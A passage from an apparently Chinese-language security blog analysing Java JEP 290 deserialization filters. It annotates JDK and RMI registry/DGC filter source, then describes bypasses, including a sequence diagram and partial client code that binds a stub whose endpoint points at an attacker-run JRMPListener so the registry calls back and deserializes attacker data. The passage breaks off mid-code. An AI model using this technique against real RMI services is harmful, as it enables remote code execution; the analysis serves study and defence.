// - arrayLength:数组长度;非数组为 -1
// - totalObjectRefs:已从流中读取的对象/引用累计数
// - depth:readObject/readUnshared 的嵌套深度
// - bin.getBytesRead():自输入流已消费的字节数(实现相关)
status = serialFilter.checkInput(new FilterValues(
clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead()));
} catch (RuntimeException e) {
// 预先拦截过滤器内部抛出的运行时异常:将状态视为 REJECTED,并记录异常用于日志/封装
status = ObjectInputFilter.Status.REJECTED;
ex = e;
}

if (Logging.filterLogger != null) {
// 失败(null 或 REJECTED)打 DEBUG,成功则打 TRACE,便于排查/追踪
Logging.filterLogger.log(
status == null || status == ObjectInputFilter.Status.REJECTED
? Logger.Level.DEBUG
: Logger.Level.TRACE,
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(),
Objects.toString(ex, "n/a"));
}

// 若过滤器返回 null 或明确拒绝,则抛出 InvalidClassException,并附带原始异常作为 cause
if (status == null || status == ObjectInputFilter.Status.REJECTED) {
InvalidClassException ice = new InvalidClassException("filter status: " + status);
ice.initCause(ex);
throw ice;
}
// 其他状态(如 ALLOWED/UNDECIDED)则允许继续反序列化
}
}

serialFilter#checkInput 的参数是一个 FilterValues 对象(这个类实现了 ObjectInputFilter.FilterInfo 接口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/**
* 向 ObjectInputFilter 传递的一组“快照”参数。
* <p>实现 {@link ObjectInputFilter.FilterInfo},封装当前反序列化点的度量信息:
* <ul>
* <li><b>clazz</b>:当前处理的类;处理“已反序列化对象的引用”时可为 {@code null}。</li>
* <li><b>arrayLength</b>:数组长度;若非数组则为 {@code -1}。</li>
* <li><b>totalObjectRefs</b>:自流开始以来,已读取的对象与引用的累计数量(含当前)。</li>
* <li><b>depth</b>:{@code readObject/readUnshared} 的嵌套深度(通常从 1 开始)。</li>
* <li><b>streamBytes</b>:自输入流已消费的字节数(实现相关,近似值)。</li>
* </ul>
* 所有字段均为 {@code final},对象不可变,便于在并发/日志场景安全使用。
*/
static class FilterValues implements ObjectInputFilter.FilterInfo {
/** 当前处理的类;数组时为数组类型;仅引用检查时可能为 {@code null}。 */
final Class<?> clazz;
/** 请求创建的数组长度;非数组时为 {@code -1}。 */
final long arrayLength;
/** 已从流中读取的对象与引用总数(包含当前即将读取的对象/引用)。 */
final long totalObjectRefs;
/** 当前反序列化调用的嵌套深度。 */
final long depth;
/** 自输入流开始已读取(消费)的字节数(实现相关)。 */
final long streamBytes;

/**
* 使用当前反序列化上下文的度量信息构造快照。
*
* @param clazz 当前类;可为 {@code null}
* @param arrayLength 数组长度;非数组传 {@code -1}
* @param totalObjectRefs 已读取的对象/引用累计数
* @param depth 嵌套深度
* @param streamBytes 已消费字节数
*/
public FilterValues(Class<?> clazz, long arrayLength, long totalObjectRefs,
long depth, long streamBytes) {
this.clazz = clazz;
this.arrayLength = arrayLength;
this.totalObjectRefs = totalObjectRefs;
this.depth = depth;
this.streamBytes = streamBytes;
}

// [...]
}

前面分析过 serialFilter 实际上是实现 ObjectInputFilter 接口的 Global 类实例化的对象,因此 serialFilter.checkInput 调用的是 Global#checkInput 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* 过滤器核心:每读到一个“待创建对象或其片段”,就回调一次。
*
* 判定顺序严格如下:
* ① 先做“资源计数/上限”检查:refs/depth/bytes 任一 <0(非法)或超上限 → REJECTED
* ② 若有关联类:
* - 若是数组:可知长度且超 maxArrayLength → REJECTED;然后把多维数组“降维”到元素类型
* - 若是原始类型(primitive):不决(UNDECIDED)
* - 其他引用类型:按 filters 顺序找首个给出明确结论(ALLOWED/REJECTED)的规则
* ③ 若无类信息(如写入了特殊标记而非对象):UNDECIDED
*
* 返回值只代表“本过滤器”的意见;上层会与“全局过滤器”等做合并:
* - 任一返回 REJECTED → 立刻拒绝
* - 否则若任一返回 ALLOWED → 放行
* - 否则(都 UNDECIDED)→ 由调用方的默认策略继续(通常继续读取)
*/
@Override
public Status checkInput(FilterInfo filterInfo) {
// —— ① 资源计数/上限的硬性检查(先于类型匹配) ——
if (filterInfo.references() < 0
|| filterInfo.depth() < 0
|| filterInfo.streamBytes() < 0
|| filterInfo.references() > maxReferences
|| filterInfo.depth() > maxDepth
|| filterInfo.streamBytes() > maxStreamBytes) {
// 任何“非法值”(<0) 或“超限”(>max*)都立即判为 REJECTED
return Status.REJECTED;
}

// 待反序列化的“当前类”。某些片段(如 TC_NULL、块数据)没有类信息,会返回 null。
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
// —— ②a 数组:先做长度限制,再把(可能是多维的)数组降维到最终的“元素类型” ——
if (clazz.isArray()) {
// arrayLength < 0 表示“未知长度/不可得”,这种情况下不做长度上限判断
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > maxArrayLength) {
return Status.REJECTED; // 数组过大,直接拒绝
}
// 逐层 getComponentType(),直到拿到最内层元素类型(e.g., Foo[][] -> Foo)
do {
clazz = clazz.getComponentType();
} while (clazz.isArray());
}

// —— ②b 原始类型:不参与“类匹配”,交给其他过滤器或默认策略 ——
if (clazz.isPrimitive()) {
return Status.UNDECIDED;
} else {
// —— ②c 引用类型:按定义顺序应用各条规则(filters 内是 Function<Class<?>, Status>)
final Class<?> cl = clazz; // for lambda 捕获(必须是 effectively final)
Optional<Status> status = filters.stream()
.map(f -> f.apply(cl)) // 套用单条模式
.filter(p -> p != Status.UNDECIDED) // 仅保留“明确结论”
.findFirst(); // 自左向右取第一条命中
// 若没有任何规则命中,则本过滤器不作决定
return status.orElse(Status.UNDECIDED);
}
}

// —— ③ 没有类信息的片段:本过滤器不作决定 ——
return Status.UNDECIDED;
}

自定义过滤器

前面通过设置全局属性 jdk.serialFilter,创建的是全局过滤器,因为 ObjectInputFilter.Config 类初始化,Global 这个过滤器被创建并赋值给 Config.serialFilter,每次创建 ObjectInputStream 对象都是去拿 ConfigserialFilter 属性。

局部自定义过滤器

若想设置局部自定义过滤器,可以调用 ObjectInputStream#setInternalObjectInputFilter,传入自定义的 ObjectInputFilter(JDK9及以上是 setObjectInputFilter,相应的也有 getObjectInputFilter 用于获取过滤器)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/**
* 为当前输入流设置反序列化过滤器。
* 过滤器的 {@link ObjectInputFilter#checkInput checkInput} 方法会在反序列化过程中
* 针对流里的每个“类信息”和“对象引用”被调用。过滤器可以检查:要反序列化的类、
* 数组长度、引用计数、对象图深度,以及输入流已消费的字节数等度量。
* “深度”指自图根对象开始、到当前正在反序列化对象为止所产生的
* 嵌套 {@linkplain #readObject readObject} 调用层数。
* “引用计数”是已从流中读取的对象与对象引用的累计数量(含当前要读取的对象)。
* 仅在从流中“读取对象”时才会触发过滤器;原始类型不触发。
*
* <p>若过滤器返回 {@link ObjectInputFilter.Status#REJECTED Status.REJECTED}、
* 返回 {@code null},或在执行中抛出 {@link RuntimeException},
* 则正在运行的 {@code readObject} 或 {@code readUnshared}
* 将抛出 {@link InvalidClassException};否则反序列化将继续进行。</p>
*
* <p>该流的序列化过滤器在构造 {@code ObjectInputStream} 时,会被初始化为
* {@link ObjectInputFilter.Config#getSerialFilter() ObjectInputFilter.Config.getSerialFilter}
* 的返回值;之后只能“自定义设置”一次。</p>
*
* @implSpec
* 当过滤器不为 {@code null} 时,将在 {@link #readObject readObject} 与
* {@link #readUnshared readUnshared} 的过程中,对流中的每个对象(包括普通类或类对象)
* 调用过滤器。字符串按原始类型对待,因此不会触发过滤器。
* 过滤器会在以下情形被调用:
* <ul>
* <li>对流中“先前已反序列化”的每个对象引用(此时 class 为 {@code null},arrayLength 为 -1);</li>
* <li>对每个普通类对象(class 非 {@code null},arrayLength 为 -1);</li>
* <li>对每个动态代理的接口以及动态代理类本身(class 非 {@code null},arrayLength 为 -1);</li>
* <li>对每个数组,使用数组的类型与请求的长度进行过滤(class 为数组类型,arrayLength 为请求长度);</li>
* <li>对被其类的 {@code readResolve} 方法替换的对象:使用“替换后对象”的类进行过滤;
* 若替换后为数组,则同时提供 arrayLength,否则为 -1;</li>
* <li>对被 {@link #resolveObject resolveObject} 替换的对象:同上,使用“替换后对象”的类,
* 若为数组则提供 arrayLength,否则为 -1。</li>
* </ul>
*
* 当调用 {@link ObjectInputFilter#checkInput checkInput} 时,可获取:
* 当前类、数组长度、已从流中读取的引用计数、嵌套的 {@link #readObject readObject} /
* {@link #readUnshared readUnshared} 调用深度,以及实现相关的“自输入流已读取字节数”。
*
* <p>每次进入 {@link #readObject readObject} 或 {@link #readUnshared readUnshared},
* 在读取对象之前“深度 +1”,在正常或异常返回前“深度 -1”。深度从 {@code 1} 开始,
* 每遇到嵌套对象递增,嵌套返回时递减。引用计数从 {@code 1} 开始,并在读取对象前增加。</p>
*
* @param filter 要设置的过滤器;可为 {@code null}
* @throws SecurityException 当存在 SecurityManager 且未授予
* {@code SerializablePermission("serialFilter")} 权限时抛出
* @throws IllegalStateException 当当前({@linkplain #getObjectInputFilter() 已存在的})过滤器
* 不是进程范围(全局)过滤器,因而不允许再次设置时抛出
* @since 9
*/
public final void setObjectInputFilter(ObjectInputFilter filter) {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
// 需要具备 "serialFilter" 权限,否则抛出 SecurityException
sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION);
}
// 仅允许“设置一次”:
// 若当前已存在一个“非全局”的过滤器(即既不为 null,也不等于进程范围过滤器),则禁止再次设置。
// 允许的情况:当前为 null(从未设置),或当前等于进程范围过滤器(允许用自定义过滤器替换一次)。
if (serialFilter != null &&
serialFilter != ObjectInputFilter.Config.getSerialFilter()) {
throw new IllegalStateException("filter can not be set more than once");
}
// 设置(或清空)当前流的过滤器;设为 null 表示恢复使用全局过滤器(若存在)或不使用过滤。
this.serialFilter = filter;
}

例如下面这个例子通过 ObjectInputStream#setObjectInputFilter 设置由 ObjectInputFilter$Config#createFilter 创建的过滤器阻止反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.*;
import java.util.*;

public class Jep290FilterDemo {

// 规则:先设资源上限,再白名单(仅放行 java.base 模块 & 你的业务包),最后兜底拒绝
// - 允许:java.base/*(java.lang/java.util…)
// - 允许:com.myapp.**(你自己的包)
// - 其余:!*(全部拒绝)
static final String RULE =
"maxdepth=64;maxrefs=10000;maxbytes=1048576;java.base/*;com.myapp.**;!*";

public static void main(String[] args) throws Exception {
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(RULE);

// ✅ 允许的对象:ArrayList<String>(在 java.base 模块里)
byte[] ok = serialize(new ArrayList<>(Arrays.asList("a", "b")));
System.out.println("Allowed -> " + deserialize(ok, filter));

// ❌ 被拒绝的对象:java.awt.Point(在 java.desktop 模块,不在白名单)
byte[] bad = serialize(new java.awt.Point(1, 2));
try {
Object o = deserialize(bad, filter);
System.out.println("Unexpected: " + o);
} catch (InvalidClassException e) {
System.out.println("Rejected as expected: " + e.getMessage());
}
}

static byte[] serialize(Serializable obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
}
return bos.toByteArray();
}

static Object deserialize(byte[] buf, ObjectInputFilter f) throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf))) {
ois.setObjectInputFilter(f); // ⬅️ 关键:给这个流加过滤器
return ois.readObject(); // REJECTED 会抛 InvalidClassException
}
}
}

全局自定义过滤器

全局自定义过滤器可以通过 Config#setSerialFilter 设置,但是为了安全起见只能设置一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 设置“进程级(全局)”的反序列化过滤器(仅能设置一次)。
*
* @param filter 要设置为“进程范围内”的序列化过滤器;不可为 null
* @throws SecurityException 若存在 SecurityManager 且未授予
* {@code new SerializablePermission("serialFilter")} 权限
* @throws IllegalStateException 若全局过滤器此前已被设置为非 null(只能设置一次)
*/
public static void setSerialFilter(ObjectInputFilter filter) {
Objects.requireNonNull(filter, "filter"); // 过滤器不能为空

// 如启用了 SecurityManager,需具备设置全局过滤器的专用权限
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION);
// 等价于:sm.checkPermission(new SerializablePermission("serialFilter"))
}

// 使用专用锁对象保证并发安全,只允许首次成功设置
synchronized (serialFilterLock) {
if (serialFilter != null) {
// 一旦非空就视为已经设置过,后续再次设置一律非法
throw new IllegalStateException("Serial filter can only be set once");
}
// 首次设置成功:将给整个进程内后续的反序列化使用(与每个流上的局部过滤器共同生效)
serialFilter = filter;
}
}

RMI 中的过滤

远程对象

RMI 在调用远程方法时,服务端 sun.rmi.server.UnicastServerRef#dispatch 会反序列化客户端发送的序列化参数对象。

1
2
3
4
5
6
// 设置过滤器
unmarshalCustomCallData(in);
for (int i = 0; i < types.length; i++) {
// 反序列化客户端发送的序列化参数对象
params[i] = unmarshalValue(types[i], in);
}

其中 unmarshalCustomCallData 函数会设置过滤器 filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 若已设置了过滤器(filter),则为“方法调用实参”的反序列化设置过滤器。
* 调度(dispatch)在开始读取参数之前调用此方法。
*/
protected void unmarshalCustomCallData(ObjectInput in)
throws IOException, ClassNotFoundException {
// 仅当已配置过滤器,且输入流确为 ObjectInputStream(或其子类)时才进行设置
if (filter != null &&
in instanceof ObjectInputStream) {
// 将通用的 ObjectInput 向下转型为可设置过滤器的 ObjectInputStream
ObjectInputStream ois = (ObjectInputStream) in;

// 在受限环境(可能启用 SecurityManager)下,以“受保护”的方式设置过滤器,
// 避免调用方栈帧权限影响到这里的最小必要操作(最小化特权的受控区间)。
AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
// 为当前反序列化流挂上 JEP-290 过滤器:
// 之后 readObject() 对参数进行反序列化时,会先做限额检查与类/包匹配判定。
ois.setObjectInputFilter(filter);
return null;
});
}
}

UnicastServerRef.filterUnicastServerRef 中的一个成员。

1
2
// The ObjectInputFilter for checking the invocation arguments
private final transient ObjectInputFilter filter;

在导出远程对象的时候 filter 默认为空,也就是默认没有反序列化过滤器。

1
2
3
4
5
6
7
8
9
10
public static Remote exportObject(Remote obj, int port)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}

public UnicastServerRef(int port) {
super(new LiveRef(port));
this.filter = null; // ✅ 默认为空
}

注册中心

注册中心 RegistryImpl 创建时会定一个过滤器。

1
2
3
4
5
6
7
8
9
10
11
12
13
public RegistryImpl(int port)
throws RemoteException
{
// [...]
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref, RegistryImpl::registryFilter));
// [...]
}

public UnicastServerRef(LiveRef ref, ObjectInputFilter filter) {
super(ref);
this.filter = filter;
}

提示

RegistryImpl::registryFilterJava 8 的“方法引用(method reference)”语法::方法引用运算符。它不会调用方法,而是把这个方法当作函数值传递给需要“函数式接口(SAM)”的地方。

由于 UnicastServerRef 的参数 filterObjectInputFilter 类型,因此正常应该是下面这种写法:

1
2
3
4
5
6
setup(new UnicastServerRef(lref, new ObjectInputFilter() {
@Override
public ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo info) {
return RegistryImpl.registryFilter(info); // 真正的逻辑
}
}));

因为 ObjectInputFilter函数式接口(只有一个抽象方法,并且前面还有 @FunctionalInterface 注解):

1
2
3
4
@FunctionalInterface
interface ObjectInputFilter {
Status checkInput(FilterInfo info);
}

并且 registryFilter 参数、返回值正好兼容 checkInput(FilterInfo) -> Status

1
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) { ... }

编译器就把 RegistryImpl::registryFilter 适配成一个实现了 ObjectInputFilter 的对象。

注意这里 :: 只是把方法“引用”成一个函数对象. 才是立刻调用方法。

RegistryImpl::registryFilter 设置了一个白名单,只允许反序列化特定类的子类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/**
* 用于过滤 RMI Registry 端输入对象的 ObjectInputFilter。
* 允许的类集合被限制为“注册表常见/合法”的那些类型。
*
* @param filterInfo 提供当前待反序列化对象的元信息(类、数组长度、深度等)
* @return {@link ObjectInputFilter.Status#ALLOWED} 允许,
* {@link ObjectInputFilter.Status#REJECTED} 拒绝,
* 否则 {@link ObjectInputFilter.Status#UNDECIDED}(本过滤器不作决定)
*/
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) {
// 若用户/外部已配置了自定义的 registryFilter,则先让它“先表态”
// 只要非 UNDECIDED(即明确允许或拒绝),就直接采用它的结论,覆盖内置白名单策略。
if (registryFilter != null) {
ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo);
if (status != ObjectInputFilter.Status.UNDECIDED) {
// 外部过滤器可以覆盖内置白名单
return status;
}
}

// 深度限制:超过注册表允许的最大对象图深度则拒绝
if (filterInfo.depth() > REGISTRY_MAX_DEPTH) {
return ObjectInputFilter.Status.REJECTED;
}

// 本次待反序列化的类(可能为 null:例如遇到流中的特殊标记而非对象)
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
// —— 数组处理 ——
if (clazz.isArray()) {
// 若数组长度可得且超过最大允许长度,直接拒绝
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE) {
return ObjectInputFilter.Status.REJECTED;
}
// 将(可能是多维的)数组逐层降维,最终拿到元素类型
do {
// 是否允许该数组,取决于元素类型(见下方对白名单/原始类型的判断)
clazz = clazz.getComponentType();
} while (clazz.isArray());
}

// 原始类型(primitive)一律允许 —— 等价于“原始类型数组允许”
if (clazz.isPrimitive()) {
return ObjectInputFilter.Status.ALLOWED;
}

// —— 白名单:仅允许下列类型(及其子类/实现) ——
// 说明:
// - String:常见字符串键/值
// - Number 派生类:数值类
// - Remote:远程对象(或其 Stub/动态代理)
// - Proxy:JDK 动态代理类
// - UnicastRef:RMI 单播引用
// - RMIClientSocketFactory / RMIServerSocketFactory:自定义套接字工厂
// - ActivationID / UID:RMI 激活与唯一标识相关类型
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
// 不在白名单中的引用类型全部拒绝
return ObjectInputFilter.Status.REJECTED;
}
}

// 没有类信息(例如读到的是 NULL/控制片段而非对象)——本过滤器不作决定
return ObjectInputFilter.Status.UNDECIDED;
}

RegistryImpl 会优先使用事先注册的 registryFilter 过滤器。该过滤器在初始化时读取全局属性 sun.rmi.registry.registryFilter,读不到也是默认 null 过滤器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* 从系统属性 {@code "sun.rmi.registry.registryFilter"} 的值创建出来的 registryFilter。
*/
private static final ObjectInputFilter registryFilter =
// 以受限权限块创建(读取安全/系统属性在有安全管理器时可能需要特权)
AccessController.doPrivileged((PrivilegedAction<ObjectInputFilter>) RegistryImpl::initRegistryFilter);

/**
* 根据“系统属性”或“安全属性”初始化 registryFilter(若存在)。
*
* 查找顺序:
* 1) System.getProperty("sun.rmi.registry.registryFilter")
* 2) Security.getProperty("sun.rmi.registry.registryFilter")
*
* @return 若配置了规则字符串则返回解析后的 ObjectInputFilter,否则返回 null
*/
@SuppressWarnings("deprecation") // 使用了部分内部/旧日志类等,屏蔽编译器弃用警告
private static ObjectInputFilter initRegistryFilter() {
ObjectInputFilter filter = null;

// 先读系统属性(可用 -Dsun.rmi.registry.registryFilter=... 设置)
String props = System.getProperty(REGISTRY_FILTER_PROPNAME);
if (props == null) {
// 若系统属性未配置,再读安全属性(java.security 配置文件中的同名键)
props = Security.getProperty(REGISTRY_FILTER_PROPNAME);
}

if (props != null) {
// 将规则字符串解析为 JEP-290 过滤器(pattern DSL:maxdepth=...; 包/类通配; !否定 等)
filter = ObjectInputFilter.Config.createFilter(props);

// 按 RMI 内部日志配置输出一条简要日志,便于诊断
Log regLog = Log.getLog("sun.rmi.registry", "registry", -1);
if (regLog.isLoggable(Log.BRIEF)) {
regLog.log(Log.BRIEF, "registryFilter = " + filter);
}
}
// 未配置属性则返回 null(调用方据此决定是否使用内置白名单)
return filter;
}

DGC

同样 DGCImpl 在静态代码块中也设置了自己的过滤器 DGCImpl::checkInput

1
2
3
4
5
6
7
8
9
dgc = new DGCImpl();
ObjID dgcID = new ObjID(ObjID.DGC_ID);
LiveRef ref = new LiveRef(dgcID, 0);
UnicastServerRef disp = new UnicastServerRef(ref,
DGCImpl::checkInput);
Remote stub =
Util.createProxy(DGCImpl.class,
new UnicastRef(ref), true);
disp.setSkeleton(dgc);

DGCImpl::checkInput 实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**
* 面向 DGC(分布式垃圾回收)的 ObjectInputFilter,用于过滤入站反序列化对象。
* 可接受的类清单非常短且明确,并对对象图深度与数组大小做了限制。
*
* @param filterInfo 访问当前检查点的信息(类、数组长度、深度、引用计数、已读字节等)
* @return 若允许则返回 {@link ObjectInputFilter.Status#ALLOWED},
* 若拒绝则返回 {@link ObjectInputFilter.Status#REJECTED},
* 否则返回 {@link ObjectInputFilter.Status#UNDECIDED}
*/
private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) {
// 若存在外部/用户提供的 dgcFilter,则先让其裁决;
// 只要返回值不是 UNDECIDED,就以该结果为准(可以覆盖内置白名单)。
if (dgcFilter != null) {
ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo);
if (status != ObjectInputFilter.Status.UNDECIDED) {
// DGC 级别的过滤器可以覆盖内置的白名单规则
return status;
}
}

// 1) 限制对象图深度:超过最大深度直接拒绝
if (filterInfo.depth() > DGC_MAX_DEPTH) {
return ObjectInputFilter.Status.REJECTED;
}

// 2) 获取当前正在反序列化的类;可能为 null(例如仅检查对已读对象的引用时)
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
// 2.1 数组处理:限制数组长度,并将 clazz 递归降为元素类型
while (clazz.isArray()) {
// 若存在数组长度信息且超过阈值则拒绝
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) {
return ObjectInputFilter.Status.REJECTED;
}
// 是否允许数组取决于组件类型,继续拿到元素类型
clazz = clazz.getComponentType();
}

// 2.2 原始类型(int、long、…)的数组被允许
if (clazz.isPrimitive()) {
return ObjectInputFilter.Status.ALLOWED;
}

// 2.3 白名单:仅允许与 RMI DGC 相关的少量类型;其他一律拒绝
return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
}

// 3) 非“类实例”场景(如仅为已反序列化对象的引用),此处不做大小限制,交由上层决定
return ObjectInputFilter.Status.UNDECIDED;
}

注意这里是 DGC 服务端的过滤,而 DGC 客户端在低版本没有过滤。这也是后面针对注册中心常用的利用点。

RMI + JEP 290 绕过

普通远程对象

对于普通远程对象,UnicastServerRef 中的 ObjectInputFilter 默认是 null。因此,攻击者依然可以传输恶意对象触发反序列化漏洞。

这并不能算严格意义的“bypass”,更像是 防护机制未覆盖完全

客户端

JEP 290 仅在服务端引用层(UnicastServerRef)的 unmarshalCustomCallData 方法中显式注册了过滤器。客户端引用层(UnicastRef)并没有设置过滤器

注册中心

JRMP 回连诱导(本地)

Registry.bind(name, stub) 传输的是 Stub 的序列化数据。Registry 要存它,必须把 Stub 反序列化 成对象(会用到 JDK 自带的 UnicastRef/LiveRef/TCPEndpoint/ObjID 等类型)。当 Registry 在反序列化过程中读到 LiveRef(TCPEndpoint) 后,会先把这些“跨端远程引用”暂存起来;在 releaseInputStream() 收尾时统一 **registerRefs()**,从而对每个端点发起 **DGC.dirty**(“我现在持有这些远程对象,请先别回收”)。

因此,只要把 TCPEndpoint 指向我们的 JRMPListener,Registry 就会回连到我们指定的 host:port

sequenceDiagram
    autonumber

    %% ── 不同进程分组(带背景色) ──
    box rgb(230,242,255) 攻击者客户端(进程A)
      participant A as 攻击者客户端
    end

    box rgb(232,245,233) 注册中心(进程B)
      participant R_Skel as RegistryImpl_Skel / Skeleton
      participant R_CIS as ConnectionInputStream
      participant R_DGC as DGCClient
    end

    box rgb(255,243,224) 恶意JRMPListener(进程C)
      participant L as JRMPListener
    end

    %% ── 主流程 ──
    A->>R_Skel: bind(name, stub[UnicastRef→LiveRef(TCPEndpoint)])
    R_Skel->>R_Skel: checkAccess("bind") 🔒

    alt 非本地来源(高版本) ❌
      R_Skel-->>A: AccessException 🚫
    else 本地来源 ✅
      R_Skel->>R_CIS: getInputStream()
      R_Skel->>R_CIS: in.readObject() 读取 name
      R_Skel->>R_CIS: in.readObject() 读取 Remote(Stub) 📥
      note right of R_CIS: RemoteObject.readObject → UnicastRef.readExternal →
LiveRef.read(...) → saveRef(liveRef) 📦 opt JEP 290 过滤 🛡️ R_CIS->>R_CIS: 类名/深度/数组/引用数检查 alt 过滤拒绝 ❌ R_Skel-->>A: InvalidClassException / UnmarshalException 🚫 else 通过 ✅ note right of R_CIS: 继续收集 LiveRef 📦 end end R_Skel-->>R_CIS: finally: releaseInputStream() 🧹 note right of R_CIS: 收尾 → registerRefs() 🔁(按 Endpoint 合批) R_CIS->>R_DGC: registerRefs(endpoint, [liveRef...]) 📦 R_DGC->>L: JRMP 调用 DGC.dirty(ObjID[], Lease请求) 🌐 alt 正常返回(NormalReturn) ✅ L-->>R_DGC: 返回 Lease 📄 R_DGC->>R_DGC: 设置 leaseFilter(JDK 8u231+)🛡️ R_DGC->>R_DGC: readObject() 读取 Lease alt 白名单允许 ✅ R_DGC-->>R_Skel: 续租成功 ✅ else 白名单拒绝 ❌ R_DGC-->>R_Skel: InvalidClassException → UnmarshalException 🚫 end else 异常返回(ExceptionalReturn) ⚠️ L-->>R_DGC: 返回异常对象 💥 note over R_DGC: StreamRemoteCall.executeCall 内
先反序列化异常(可能早于 leaseFilter)🕳️ → 潜在触发链 🧨
随后抛 UnexpectedException 属预期 end end

例如服务端创建一个注册中心:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.registry.LocateRegistry;

/**
* 本地启动一个 RMI 注册中心(Registry),监听 1099 端口。
* 仅用于演示/本地联调。
*/
public class RMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
System.out.println("[*] RMI Registry started on 127.0.0.1:1099");
// 保持存活
Thread.sleep(Long.MAX_VALUE);
}
}

然后客户端想注册中心 bind 一个 Remote 代理对象,该 Stub 内部持有 UnicastRef,指向指定的 JRMP 端点(host:port)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

// ↓↓↓ 以下为 JDK 内部 API,JDK 9+ 需 --add-exports
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

/**
* 向本地注册中心 bind 一个 Remote 代理对象(Stub)。
* 该 Stub 内部持有 UnicastRef,指向指定的 JRMP 端点(host:port)。
*
* 绑定发生时,注册中心需要反序列化该 Stub(涉及 UnicastRef/LiveRef/TCPEndpoint)。
* 在旧版本/默认未配置过滤器场景下,可用于触发一系列副作用(如 DGC dirty → 连接恶意 JRMP 服务端等)。
*/
public class RMIClient {
public static void main(String[] args) throws Exception {
// 1) 连接本机注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 2) 构造指向“恶意 JRMP 服务端”的远程引用(UnicastRef)
ObjID id = new ObjID(new Random().nextInt()); // 远程对象 ID
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233); // JRMPListener 所在主机与端口
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

// 3) 用 UnicastRef 包装成 RMI 动态代理的调用处理器
